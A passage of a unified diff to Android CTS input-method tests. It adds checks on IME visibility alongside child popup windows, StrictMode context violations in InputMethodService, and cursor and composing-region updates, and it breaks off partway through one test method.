 import java.util.concurrent.atomic.AtomicReference;
 
@@ -110,7 +110,6 @@
             CtsTouchUtils.emulateTapOnViewCenter(
                     InstrumentationRegistry.getInstrumentation(), null, editText);
             TestUtils.waitOnMainUntil(() -> editText.hasFocus(), TIMEOUT);
-            WindowInsetsController controller = editText.getWindowInsetsController();
 
             expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
             expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
@@ -123,7 +122,16 @@
 
             final View[] childViewRoot = new View[1];
             TestUtils.runOnMainSync(() -> {
-                childViewRoot[0] = addChildWindow(activity);
+                final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();
+                attrs.token = activity.getWindow().getAttributes().token;
+                attrs.type = TYPE_APPLICATION;
+                attrs.width = 200;
+                attrs.height = 200;
+                attrs.format = PixelFormat.TRANSPARENT;
+                attrs.flags = FLAG_NOT_FOCUSABLE | FLAG_ALT_FOCUSABLE_IM;
+                attrs.setFitInsetsTypes(WindowInsets.Type.ime() | WindowInsets.Type.statusBars()
+                        | WindowInsets.Type.navigationBars());
+                childViewRoot[0] = addChildWindow(activity, attrs);
                 childViewRoot[0].setVisibility(View.VISIBLE);
             });
             TestUtils.waitOnMainUntil(() -> childViewRoot[0] != null
@@ -135,6 +143,104 @@
         }
     }
 
+    @Test
+    public void testImeVisibilityWhenImeFocusableGravityBottomChildPopup() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setInputViewHeight(NEW_KEYBOARD_HEIGHT))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final String marker = getTestMarker();
+            final Pair<EditText, TestActivity> editTextTestActivityPair =
+                    launchTestActivity(false, marker);
+            final EditText editText = editTextTestActivityPair.first;
+            final TestActivity activity = editTextTestActivityPair.second;
+
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+
+            // Emulate tap event
+            CtsTouchUtils.emulateTapOnViewCenter(
+                    InstrumentationRegistry.getInstrumentation(), null, editText);
+            TestUtils.waitOnMainUntil(editText::hasFocus, TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            PollingCheck.check("Ime insets should be visible", TIMEOUT,
+                    () -> editText.getRootWindowInsets().isVisible(WindowInsets.Type.ime()));
+            expectImeVisible(TIMEOUT);
+
+            final View[] childViewRoot = new View[1];
+            TestUtils.runOnMainSync(() -> {
+                final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();
+                attrs.type = TYPE_APPLICATION_PANEL;
+                attrs.width = MATCH_PARENT;
+                attrs.height = NEW_KEYBOARD_HEIGHT;
+                attrs.gravity = Gravity.BOTTOM;
+                attrs.flags = FLAG_NOT_FOCUSABLE | FLAG_ALT_FOCUSABLE_IM;
+                childViewRoot[0] = addChildWindow(activity, attrs);
+                childViewRoot[0].setBackgroundColor(Color.RED);
+                childViewRoot[0].setVisibility(View.VISIBLE);
+            });
+            // The window will be shown above (in y-axis) the IME.
+            TestUtils.waitOnMainUntil(() -> childViewRoot[0] != null
+                    && childViewRoot[0].getVisibility() == View.VISIBLE, TIMEOUT);
+            // IME should be on screen without reset.
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            PollingCheck.check("Ime insets should be visible", TIMEOUT,
+                    () -> editText.getRootWindowInsets().isVisible(WindowInsets.Type.ime()));
+            expectImeVisible(TIMEOUT);
+        }
+    }
+
+    @Test
+    public void testImeVisibilityWhenImeFocusableChildPopupOverlaps() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setInputViewHeight(NEW_KEYBOARD_HEIGHT))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final String marker = getTestMarker();
+            final Pair<EditText, TestActivity> editTextTestActivityPair =
+                    launchTestActivity(false, marker);
+            final EditText editText = editTextTestActivityPair.first;
+            final TestActivity activity = editTextTestActivityPair.second;
+
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+
+            // Emulate tap event
+            CtsTouchUtils.emulateTapOnViewCenter(
+                    InstrumentationRegistry.getInstrumentation(), null, editText);
+            TestUtils.waitOnMainUntil(editText::hasFocus, TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            PollingCheck.check("Ime insets should be visible", TIMEOUT,
+                    () -> editText.getRootWindowInsets().isVisible(WindowInsets.Type.ime()));
+            expectImeVisible(TIMEOUT);
+
+            final View[] childViewRoot = new View[1];
+            TestUtils.runOnMainSync(() -> {
+                final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();
+                attrs.type = TYPE_APPLICATION_PANEL;
+                attrs.width = MATCH_PARENT;
+                attrs.height = NEW_KEYBOARD_HEIGHT;
+                attrs.gravity = Gravity.BOTTOM;
+                attrs.flags = FLAG_NOT_FOCUSABLE | FLAG_ALT_FOCUSABLE_IM | FLAG_LAYOUT_IN_SCREEN;
+                childViewRoot[0] = addChildWindow(activity, attrs);
+                childViewRoot[0].setBackgroundColor(Color.RED);
+                childViewRoot[0].setVisibility(View.VISIBLE);
+            });
+            // The window will be shown behind (in z-axis) the IME.
+            TestUtils.waitOnMainUntil(() -> childViewRoot[0] != null
+                    && childViewRoot[0].getVisibility() == View.VISIBLE, TIMEOUT);
+            // IME should be on screen without reset.
+            notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            PollingCheck.check("Ime insets should be visible", TIMEOUT,
+                    () -> editText.getRootWindowInsets().isVisible(WindowInsets.Type.ime()));
+            expectImeVisible(TIMEOUT);
+        }
+    }
+
     @AppModeFull(reason = "Instant apps cannot rely on ACTION_CLOSE_SYSTEM_DIALOGS")
     @Test
     public void testEditTextPositionAndPersistWhenAboveImeWindowShown() throws Exception {
@@ -187,8 +293,8 @@
             lastEditTextPos = new Point(curEditPos);
             curEditPos = getLocationOnScreenForView(editText);
 
-            assertTrue("Insets visibility & EditText position should persist when " +
-                            "the above IME window shown",
+            assertTrue("Insets visibility & EditText position should persist when "
+                            + "the above IME window shown",
                     isInsetsVisible(insetsFromActivity[0], WindowInsets.Type.ime())
                             && curEditPos.equals(lastEditTextPos));
 
@@ -246,19 +352,9 @@
         return new Pair<>(focusedEditTextRef.get(), testActivityRef.get());
     }
 
-    private View addChildWindow(Activity activity) {
-        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        final WindowManager wm = context.getSystemService(WindowManager.class);
-        final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();
-        attrs.token = activity.getWindow().getAttributes().token;
-        attrs.type = TYPE_APPLICATION;
-        attrs.width = 200;
-        attrs.height = 200;
-        attrs.format = PixelFormat.TRANSPARENT;
-        attrs.flags = FLAG_NOT_FOCUSABLE | FLAG_ALT_FOCUSABLE_IM;
-        attrs.setFitInsetsTypes(WindowInsets.Type.ime() | WindowInsets.Type.statusBars()
-                | WindowInsets.Type.navigationBars());
-        final View childViewRoot = new View(context);
+    private View addChildWindow(Activity activity, WindowManager.LayoutParams attrs) {
+        final WindowManager wm = activity.getSystemService(WindowManager.class);
+        final View childViewRoot = new View(activity);
         childViewRoot.setVisibility(View.GONE);
         wm.addView(childViewRoot, attrs);
         return childViewRoot;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InlineSuggestionsRequestTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InlineSuggestionsRequestTest.java
index 68e91c1..39d1385 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InlineSuggestionsRequestTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InlineSuggestionsRequestTest.java
@@ -91,7 +91,7 @@
         assertThat(request.getInlinePresentationSpecs().size()).isEqualTo(1);
         assertThat(request.getInlinePresentationSpecs().get(0).getStyle()).isEqualTo(Bundle.EMPTY);
         assertThat(request.getExtras()).isEqualTo(Bundle.EMPTY);
-        assertThat(request.getSupportedLocales()).isEqualTo(LocaleList.getDefault());
+        assertThat(request.getSupportedLocales()).isEqualTo(LocaleList.getEmptyLocaleList());
 
         // Tests the parceling/deparceling
         Parcel p = Parcel.obtain();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
index c949793..48c925b 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
@@ -29,6 +29,7 @@
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
+import static org.testng.Assert.expectThrows;
 
 import android.content.ClipDescription;
 import android.net.Uri;
@@ -168,4 +169,19 @@
         wrapper.commitContent(inputContentInfo, 0 /* flags */, null /* opt */);
         verify(inputConnection, times(1)).commitContent(inputContentInfo, 0, null);
     }
+
+    @Test
+    public void testInvalidGetTextBeforeOrAfterCursorRequest() {
+        InputConnection inputConnection = mock(InputConnection.class);
+        doReturn(true).when(inputConnection).commitContent(any(InputContentInfo.class),
+                anyInt(), any(Bundle.class));
+        InputConnectionWrapper wrapper = new InputConnectionWrapper(null, true);
+        // IllegalArgumentException shall be thrown no matter if target is null.
+        expectThrows(IllegalArgumentException.class,  ()-> wrapper.getTextAfterCursor(-1, 0));
+        expectThrows(IllegalArgumentException.class,  ()-> wrapper.getTextBeforeCursor(-1, 0));
+
+        wrapper.setTarget(inputConnection);
+        expectThrows(IllegalArgumentException.class,  ()-> wrapper.getTextAfterCursor(-1, 0));
+        expectThrows(IllegalArgumentException.class,  ()-> wrapper.getTextBeforeCursor(-1, 0));
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java
new file mode 100644
index 0000000..709f275
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+
+import static com.android.cts.mockime.ImeEventStreamTestUtils.EventFilterMode.CHECK_ALL;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.clearAllEvents;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.inputmethodservice.InputMethodService;
+import android.os.StrictMode;
+import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.TestActivity;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+
+import androidx.annotation.IntDef;
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.util.concurrent.TimeUnit;
+
+/** Tests for verifying {@link StrictMode} violations on {@link InputMethodService} APIs. */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class InputMethodServiceStrictModeTest extends EndToEndImeTestBase {
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long EXPECTED_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+
+    /**
+     * Verifies if get {@link android.view.WindowManager} from {@link InputMethodService} and
+     * context created from {@link InputMethodService#createConfigurationContext(Configuration)}
+     * violates incorrect context violation.
+     *
+     * @see Context#getSystemService(String)
+     * @see Context#getSystemService(Class)
+     */
+    private static final int VERIFY_MODE_GET_WINDOW_MANAGER = 1;
+    /**
+     * Verifies if passing {@link InputMethodService} and context created
+     * from {@link InputMethodService#createConfigurationContext(Configuration)} to
+     * {@link android.view.ViewConfiguration#get(Context)} violates incorrect context violation.
+     */
+    private static final int VERIFY_MODE_GET_VIEW_CONFIGURATION = 2;
+    /**
+     * Verifies if passing {@link InputMethodService} and context created
+     * from {@link InputMethodService#createConfigurationContext(Configuration)} to
+     * {@link android.view.GestureDetector} constructor violates incorrect context violation.
+     */
+    private static final int VERIFY_MODE_GET_GESTURE_DETECTOR = 3;
+
+    /**
+     * Verify mode to verifying if APIs violates incorrect context violation.
+     *
+     * @see #VERIFY_MODE_GET_WINDOW_MANAGER
+     * @see #VERIFY_MODE_GET_VIEW_CONFIGURATION
+     * @see #VERIFY_MODE_GET_GESTURE_DETECTOR
+     */
+    @Retention(RetentionPolicy.SOURCE)
+    @IntDef(flag = true, value = {
+            VERIFY_MODE_GET_WINDOW_MANAGER,
+            VERIFY_MODE_GET_VIEW_CONFIGURATION,
+            VERIFY_MODE_GET_GESTURE_DETECTOR,
+    })
+    private @interface VerifyMode {}
+
+    @Test
+    public void testIncorrectContextUseOnGetSystemService() throws Exception {
+        verifyIms(VERIFY_MODE_GET_WINDOW_MANAGER);
+    }
+
+    @Test
+    public void testIncorrectContextUseOnGetViewConfiguration() throws Exception {
+        verifyIms(VERIFY_MODE_GET_VIEW_CONFIGURATION);
+    }
+
+    @Test
+    public void testIncorrectContextUseOnGetGestureDetector() throws Exception {
+        verifyIms(VERIFY_MODE_GET_GESTURE_DETECTOR);
+    }
+
+    /**
+     * Verify if APIs violates incorrect context violations by {@code mode}.
+     *
+     * @see VerifyMode
+     */
+    private void verifyIms(@VerifyMode int mode) throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setStrictModeEnabled(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+
+            final ImeEventStream forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+            switch (mode) {
+                case VERIFY_MODE_GET_WINDOW_MANAGER:
+                    expectCommand(forkedStream, imeSession.callVerifyGetWindowManager(), TIMEOUT);
+                    break;
+                case VERIFY_MODE_GET_VIEW_CONFIGURATION:
+                    expectCommand(forkedStream,
+                            imeSession.callVerifyGetViewConfiguration(), TIMEOUT);
+                    break;
+                case VERIFY_MODE_GET_GESTURE_DETECTOR:
+                    expectCommand(forkedStream, imeSession.callVerifyGetGestureDetector(), TIMEOUT);
+                    break;
+                default:
+                    // do nothing here.
+                    break;
+            }
+            notExpectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+                    EXPECTED_TIMEOUT);
+        }
+    }
+
+    /**
+     * Test if UI component accesses from display context derived from {@link InputMethodService}
+     * throw strict mode violations.
+     */
+    @Test
+    public void testIncorrectContextUseOnImsDerivedDisplayContext() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setStrictModeEnabled(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+
+            // Verify if obtaining a WindowManager on an InputMethodService derived display context
+            // throws a strict mode violation.
+            ImeEventStream forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+            expectCommand(forkedStream, imeSession.callVerifyGetWindowManagerOnDisplayContext(),
+                    TIMEOUT);
+
+            expectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+                    CHECK_ALL, TIMEOUT);
+
+            // Verify if obtaining a ViewConfiguration on an InputMethodService derived display
+            // context throws a strict mode violation.
+            forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+            expectCommand(forkedStream, imeSession.callVerifyGetViewConfigurationOnDisplayContext(),
+                    TIMEOUT);
+
+            expectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+                    CHECK_ALL, TIMEOUT);
+
+            // Verify if obtaining a GestureDetector on an InputMethodService derived display
+            // context throws a strict mode violation.
+            forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+            expectCommand(forkedStream, imeSession.callVerifyGetGestureDetectorOnDisplayContext(),
+                    TIMEOUT);
+
+            expectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+                    CHECK_ALL, TIMEOUT);
+        }
+    }
+
+    private TestActivity createTestActivity(final int windowFlags) {
+        return TestActivity.startSync(activity -> {
+            final LinearLayout layout = new LinearLayout(activity);
+            layout.setOrientation(LinearLayout.VERTICAL);
+
+            final EditText editText = new EditText(activity);
+            editText.setText("Editable");
+            layout.addView(editText);
+            editText.requestFocus();
+
+            activity.getWindow().setSoftInputMode(windowFlags);
+            return layout;
+        });
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index 42d841a..b2a0287 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -30,6 +30,7 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEventWithKeyValue;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.verificationMatcher;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -37,9 +38,12 @@
 import static org.junit.Assert.fail;
 
 import android.app.Instrumentation;
+import android.content.Intent;
 import android.graphics.Matrix;
 import android.inputmethodservice.InputMethodService;
+import android.os.Bundle;
 import android.os.SystemClock;
+import android.support.test.uiautomator.UiObject2;
 import android.text.TextUtils;
 import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
@@ -52,7 +56,9 @@
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
 import android.view.inputmethod.cts.util.TestActivity;
 import android.view.inputmethod.cts.util.TestUtils;
+import android.view.inputmethod.cts.util.TestWebView;
 import android.view.inputmethod.cts.util.UnlockScreenRule;
+import android.webkit.WebView;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 
@@ -84,7 +90,7 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class InputMethodServiceTest extends EndToEndImeTestBase {
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(20);
     private static final long EXPECTED_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
 
     @Rule
@@ -329,6 +335,10 @@
                     expectedKeyCode, uptimeStart, uptimeEnd);
             assertSynthesizedSoftwareKeyEvent(keyEvents.get(1), KeyEvent.ACTION_UP,
                     expectedKeyCode, uptimeStart, uptimeEnd);
+            final Bundle arguments = expectEvent(stream,
+                    event -> "onUpdateSelection".equals(event.getEventName()),
+                    TIMEOUT).getArguments();
+            expectOnUpdateSelectionArguments(arguments, 0, 0, 1, 1, -1, -1);
         }
     }
 
@@ -403,4 +413,428 @@
             assertEquals(receivedCursorAnchorInfo, originalCursorAnchorInfo);
         }
     }
+
+    /** Test that no exception is thrown when {@link InputMethodService#getDisplay()} is called */
+    @Test
+    public void testGetDisplay() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                mInstrumentation.getContext(), mInstrumentation.getUiAutomation(),
+                new ImeSettings.Builder().setVerifyGetDisplayOnCreate(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            // Verify if getDisplay doesn't throw exception before InputMethodService's
+            // initialization.
+            assertTrue(expectEvent(stream, verificationMatcher("getDisplay"),
+                    CHECK_EXIT_EVENT_ONLY, TIMEOUT).getReturnBooleanValue());
+            createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+            // Verify if getDisplay doesn't throw exception
+            assertTrue(expectCommand(stream, imeSession.callVerifyGetDisplay(), TIMEOUT)
+                    .getReturnBooleanValue());
+        }
+    }
+
+    /** Test the cursor position of {@link EditText} is correct after typing on another activity. */
+    @Test
+    public void testCursorAfterLaunchAnotherActivity() throws Exception {
+        final AtomicReference<EditText> firstEditTextRef = new AtomicReference<>();
+        final int newCursorOffset = 5;
+        final String initialText = "Initial";
+        final String firstCommitMsg = "First";
+        final String secondCommitMsg = "Second";
+
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final String marker =
+                    "testCursorAfterLaunchAnotherActivity()/" + SystemClock.elapsedRealtimeNanos();
+
+            // Launch first test activity
+            TestActivity.startSync(activity -> {
+                final LinearLayout layout = new LinearLayout(activity);
+                layout.setOrientation(LinearLayout.VERTICAL);
+
+                final EditText editText = new EditText(activity);
+                editText.setPrivateImeOptions(marker);
+                editText.setSingleLine(false);
+                firstEditTextRef.set(editText);
+                editText.setText(initialText);
+                layout.addView(editText);
+                editText.requestFocus();
+                return layout;
+            });
+
+            final EditText firstEditText = firstEditTextRef.get();
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            // Verify onStartInput when first activity launch
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
+            final ImeCommand commit = imeSession.callCommitText(firstCommitMsg, 1);
+            expectCommand(stream, commit, TIMEOUT);
+            TestUtils.waitOnMainUntil(
+                    () -> TextUtils.equals(
+                            firstEditText.getText(), initialText + firstCommitMsg), TIMEOUT);
+
+            // Get current position
+            int originalSelectionStart = firstEditText.getSelectionStart();
+            int originalSelectionEnd = firstEditText.getSelectionEnd();
+
+            assertEquals(initialText.length() + firstCommitMsg.length(), originalSelectionStart);
+            assertEquals(initialText.length() + firstCommitMsg.length(), originalSelectionEnd);
+
+            // Launch second test activity
+            final Intent intent = new Intent()
+                    .setAction(Intent.ACTION_MAIN)
+                    .setClass(InstrumentationRegistry.getInstrumentation().getContext(),
+                            TestActivity.class)
+                    .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            TestActivity secondActivity = (TestActivity) InstrumentationRegistry
+                    .getInstrumentation().startActivitySync(intent);
+
+            // Verify onStartInput when second activity launch
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
+            // Commit some messages on second activity
+            final ImeCommand secondCommit = imeSession.callCommitText(secondCommitMsg, 1);
+            expectCommand(stream, secondCommit, TIMEOUT);
+
+            // Back to first activity
+            runOnMainSync(secondActivity::onBackPressed);
+
+            // Make sure TestActivity#onBackPressed() is called.
+            TestUtils.waitOnMainUntil(() -> secondActivity.getOnBackPressedCallCount() > 0,
+                    TIMEOUT, "Activity#onBackPressed() should be called");
+
+            TestUtils.runOnMainSync(firstEditText::requestFocus);
+
+            // Verify onStartInput when first activity launch
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
+            // Update cursor to a new position
+            int newCursorPosition = originalSelectionStart - newCursorOffset;
+            final ImeCommand setSelection =
+                    imeSession.callSetSelection(newCursorPosition, newCursorPosition);
+            expectCommand(stream, setSelection, TIMEOUT);
+
+            // Commit to first activity again
+            final ImeCommand commitFirstAgain = imeSession.callCommitText(firstCommitMsg, 1);
+            expectCommand(stream, commitFirstAgain, TIMEOUT);
+            TestUtils.waitOnMainUntil(
+                    () -> TextUtils.equals(firstEditText.getText(), "InitialFirstFirst"), TIMEOUT);
+
+            // get new position
+            int newSelectionStart = firstEditText.getSelectionStart();
+            int newSelectionEnd = firstEditText.getSelectionEnd();
+
+            assertEquals(newSelectionStart, newCursorPosition + firstCommitMsg.length());
+            assertEquals(newSelectionEnd, newCursorPosition + firstCommitMsg.length());
+        }
+    }
+
+    @Test
+    public void testBatchEdit_commitAndSetComposingRegion_textView() throws Exception {
+        getCommitAndSetComposingRegionTest(TIMEOUT,
+                "testBatchEdit_commitAndSetComposingRegion_textView/")
+                .setTestTextView(true)
+                .runTest();
+    }
+
+    @Test
+    public void testBatchEdit_commitAndSetComposingRegion_webView() throws Exception {
+        getCommitAndSetComposingRegionTest(TIMEOUT,
+                "testBatchEdit_commitAndSetComposingRegion_webView/")
+                .setTestTextView(false)
+                .runTest();
+    }
+
+    @Test
+    public void testBatchEdit_commitSpaceThenSetComposingRegion_textView() throws Exception {
+        getCommitSpaceAndSetComposingRegionTest(TIMEOUT,
+                "testBatchEdit_commitSpaceThenSetComposingRegion_textView/")
+                .setTestTextView(true)
+                .runTest();
+    }
+
+    @Test
+    public void testBatchEdit_commitSpaceThenSetComposingRegion_webView() throws Exception {
+        getCommitSpaceAndSetComposingRegionTest(TIMEOUT,
+                "testBatchEdit_commitSpaceThenSetComposingRegion_webView/")
+                .setTestTextView(false)
+                .runTest();
+    }
+
+    @Test
+    public void testBatchEdit_getCommitSpaceAndSetComposingRegionTestInSelectionTest_textView()
+            throws Exception {
+        getCommitSpaceAndSetComposingRegionInSelectionTest(TIMEOUT,
+                "testBatchEdit_getCommitSpaceAndSetComposingRegionTestInSelectionTest_textView/")
+                .setTestTextView(true)
+                .runTest();
+    }
+
+    @Test
+    public void testBatchEdit_getCommitSpaceAndSetComposingRegionTestInSelectionTest_webView()
+            throws Exception {
+        getCommitSpaceAndSetComposingRegionInSelectionTest(TIMEOUT,
+                "testBatchEdit_getCommitSpaceAndSetComposingRegionTestInSelectionTest_webView/")
+                .setTestTextView(false)
+                .runTest();
+    }
+
+    /** Test case for committing and setting composing region after cursor. */
+    private static UpdateSelectionTest getCommitAndSetComposingRegionTest(
+            long timeout, String makerPrefix) throws Exception {
+        UpdateSelectionTest test = new UpdateSelectionTest(timeout, makerPrefix) {
+            @Override
+            public void testMethodImpl() throws Exception {
+                // "abc|"
+                expectCommand(stream, imeSession.callCommitText("abc", 1), timeout);
+                verifyText("abc", 3, 3);
+                final Bundle arguments1 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments1, 0, 0, 3, 3, -1, -1);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // "|abc"
+                expectCommand(stream, imeSession.callSetSelection(0, 0), timeout);
+                verifyText("abc", 0, 0);
+                final Bundle arguments2 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments2, 3, 3, 0, 0, -1, -1);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // "Back |abc"
+                //        ---
+                expectCommand(stream, imeSession.callBeginBatchEdit(), timeout);
+                expectCommand(stream, imeSession.callCommitText("Back ", 1), timeout);
+                expectCommand(stream, imeSession.callSetComposingRegion(5, 8), timeout);
+                expectCommand(stream, imeSession.callEndBatchEdit(), timeout);
+                verifyText("Back abc", 5, 5);
+                final Bundle arguments3 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments3, 0, 0, 5, 5, 5, 8);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+            }
+        };
+        return test;
+    }
+
+    /** Test case for committing space and setting composing region after cursor. */
+    private static UpdateSelectionTest getCommitSpaceAndSetComposingRegionTest(
+            long timeout, String makerPrefix) throws Exception {
+        UpdateSelectionTest test = new UpdateSelectionTest(timeout, makerPrefix) {
+            @Override
+            public void testMethodImpl() throws Exception {
+                // "Hello|"
+                //  -----
+                expectCommand(stream, imeSession.callSetComposingText("Hello", 1), timeout);
+                verifyText("Hello", 5, 5);
+                final Bundle arguments1 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments1, 0, 0, 5, 5, 0, 5);
+                notExpectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        EXPECTED_TIMEOUT);
+
+                // "|Hello"
+                //   -----
+                expectCommand(stream, imeSession.callSetSelection(0, 0), timeout);
+                verifyText("Hello", 0, 0);
+                final Bundle arguments2 = expectEvent(stream,
+                        event -> "onUpdateSelection".equals(event.getEventName()),
+                        timeout).getArguments();
+                expectOnUpdateSelectionArguments(arguments2, 5, 5, 0, 0, 0, 5);
